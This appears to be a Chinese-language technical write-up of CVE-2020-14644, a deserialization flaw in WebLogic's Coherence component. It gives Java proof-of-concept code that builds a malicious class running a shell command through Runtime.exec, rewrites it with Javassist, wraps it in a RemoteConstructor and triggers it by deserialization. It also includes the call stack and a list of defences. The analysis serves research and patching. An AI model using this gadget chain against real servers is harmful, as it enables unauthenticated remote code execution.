Weblogic coherence组件iiop反序列化漏洞浅析 (CVE-2020-14644)
字数 1078 2025-08-20 18:17:31
WebLogic Coherence组件IIOP反序列化漏洞分析(CVE-2020-14644)
漏洞概述
CVE-2020-14644是Oracle WebLogic Server中Coherence组件的一个严重反序列化漏洞,允许攻击者通过IIOP协议发送恶意序列化数据,在无需认证的情况下实现远程代码执行(RCE)。
受影响版本
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞原理
该漏洞源于WebLogic的Coherence组件在处理IIOP协议的反序列化数据时,未对输入进行充分验证,导致攻击者可以构造恶意的序列化对象触发反序列化操作,最终执行任意命令。
漏洞复现环境
- Java版本: 1.8.0_112
- WebLogic版本: 12.2.1.4.0 (测试发现12.2.1.3.0版本Coherence组件不完整)
- 开发工具: IDEA (用于调试分析)
关键组件
所需JAR文件
-
coherence.jar: 位于WebLogic安装目录下
/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar -
wlfullclient.jar: 需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar生成后位于:
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
漏洞利用分析
恶意类构造
攻击者需要构造一个实现特定接口的恶意类:
package org.unicodesec;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;
public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
public test1() throws IOException {
String cmd = "touch /tmp/rai4over"; // 恶意命令
Runtime.getRuntime().exec(cmd);
}
// 接口方法实现...
}
利用Javassist修改字节码
攻击使用Javassist库动态修改类字节码:
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(),
org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
构造RemoteConstructor对象
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
序列化与反序列化触发
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj); // 触发漏洞
漏洞调用链分析
- 入口点:
RemoteConstructor#readResolve(而非常见的readObject) - 关键调用路径:
RemoteConstructor#newInstanceRemotableSupport#realizeRemotableSupport#defineClass(加载恶意字节码)ClassDefinition#createInstance- 最终反射执行构造函数中的恶意代码
完整调用栈
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)
防御措施
- 及时安装Oracle官方发布的安全补丁
- 限制IIOP协议的访问权限
- 使用Java反序列化过滤器
- 升级到不受影响的WebLogic版本
参考资源
- Oracle安全公告: https://www.oracle.com/security-alerts/cpujul2020.html
- 漏洞分析文章: https://www.cnblogs.com/ph4nt0mer/p/13469690.html
- Seebug漏洞详情: https://paper.seebug.org/1281/